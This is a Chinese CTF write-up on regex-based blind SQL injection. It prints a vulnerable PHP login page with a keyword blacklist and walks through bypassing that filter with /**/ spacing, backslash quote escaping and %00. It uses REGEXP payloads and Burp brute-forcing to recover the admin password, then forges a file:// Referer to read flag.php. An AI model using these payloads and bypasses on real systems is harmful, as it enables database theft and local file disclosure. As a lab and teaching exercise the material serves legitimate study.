SQL正则盲注

题目链接: 地址
在这里插入图片描述
随便输入用户名和密码后登录,跳到check.php页面
在这里插入图片描述
下面是题目源码

<?php 
include "config.php";
error_reporting(0);
highlight_file(__FILE__); 

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";    // /i 表示不区分大小写(如果表达式里面有 a, 那么 A 也是匹配对象)
if(preg_match($check_list, $_POST['username'])){
    die('<h1>Hacking first,then login!Username is very special.</h1>'); 
}
if(preg_match($check_list, $_POST['passwd'])){
    die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'"; 
$result = mysql_query($query);
$result = mysql_fetch_array($result);   // 从结果集中取得一行作为数字数组或关联数组
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
    echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>"; 
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);   // 解析一个URL并返回一个关联数组,包含在URL中出现的各种组成部分
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
}
?> 

我原本以为这一道 sql 只是个青铜,没想到它却是个王者。

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

当我看到了,这一串过滤名单后,我就知道,这道题注定不凡!!

正则表达式注入介绍

说通俗点就是常用的筛选语句被过滤的时候使用 like 或 regexp 进行匹配。MySQL用WHERE子句对正则表达式提供了初步的支持,允许你指定用正则表达式过滤SELECT检索出的数据。注意:MySQL仅支持多数正则表达式实现的一个很小的子集。regexp支持正则表达式匹配,REGEXP后所跟的东西作为正则表达式处理。

//判断 第一个表名 的 第一个字符 是否在a-z之间

?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

//REGEXP '^[a-z]'即是匹配正则表达式,^表示匹配字符串的开始,[a-z]即匹配字母a-z
//判断第一个表名的第一个字符是n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
//表达式如下:

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

//这时说明表名为news ,要验证是否是该表名 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news' 就行了
// 例如security数据库的表有多个,users,email等

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1,是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。limit 作用在前面的 select 语句中,而不是 regexp

limit在这里的作用在前面的 select 语句中,而不是 regexp:
在这里插入图片描述
查找以Le开头的用户名:
在这里插入图片描述
查找以ck结尾的用户名:
在这里插入图片描述
回到题目中来,我们尝试将按照该题目的sql逻辑构造如下语句:
在这里插入图片描述
在这里插入图片描述
发现是能够进行真假判断的,如果第一个字母猜对了,我们只需要接着判断前两位的开头是否正确即可,然后以此类推,直到猜出全部字段的值:
在这里插入图片描述
在这里插入图片描述

题目中的sql语句是这样的:

$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";  
  • 由于过滤了空格,我们用/**/绕过
  • 由于过滤了# – ,我们用;%00绕过(虽然%00在过滤列表中,但由于浏览器在传给php过程中会经过一次urldecode(),所以php接收到的并不是%00)
  • or 可以用 || 或者 ^ 进行绕过
  • 反斜杠 \ 没被过滤,思路还是利用转义单引号来构造闭合,然后再在password字段构造盲注语句进行注入。

现在就是如何构造盲注语句,常用的=、>、<、like等逻辑运算都被过滤掉了,这时候就需要用到REGEXP正则注入。在MySQL中除了可以使用LIKE …%进行模糊匹配,同样也支持正则表达式的匹配,其使用REGEXP 操作符来进行正则表达式匹配。

构造payload如下

POST:
username=\&passwd=||passwd/**/REGEXP/**/"^d";%00

sql 语句中 || 符号是连接的意思,抄相当于字符串中的连接符。

即构造了:

select user from user where user='\' and passwd='||passwd/**/REGEXP/**/"^d";%00';  

这里有个坑。。我们再回看一下 过滤列表

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i"; 

能看到%00 是过滤列表的,而我们payload的却含有%00,那么,为什么不会被过滤??
经过作者的一番测试发现,参数在传到php的时候,会预先进行一次urldecode。

在这里插入图片描述
在这里插入图片描述
这就是%00在payload里面,却不会被过滤的秘密了!

那么开始用burp爆破
在这里插入图片描述
添加好爆破位置,开始爆破。
在这里插入图片描述
第一位爆破成功,是d,
在以d和D开头时都返回了真,是因为使用regexp正则匹配时是不区分大小写,通常来说只需要加上binary即可解决这个问题,如||binary/**/passwd/**/regexp/**/"^a";%00,但是这一题过滤了 in,所以目前我还没有想到好的方法进行大小写匹配。(Mysql默认查询是不分大小写的,可以在SQL语句中加入 binary来区分大小写;)

开始爆破第二位
在这里插入图片描述
第二位爆破成功,为0.
……
依次类推,爆破得到密码为:d0itr1ght
得到了密码,那么就开始登陆。由于过滤了admin,采用admi/**/n绕过
在这里插入图片描述
然后用Referer利用file://localhost/..伪造本地读文件即可:

if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
} 

看到登陆成功后,可以进行读文件,那么flag一定在某个文件中,御剑扫一下。
在这里插入图片描述
扫到了flag.php

修改referer 为:file://localhost/var/www/html/flag.php ,得到flag
在这里插入图片描述

参考:
https://blog.csdn.net/qq_42181428/article/details/105061424
https://blog.csdn.net/weixin_45940434/article/details/103722055

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值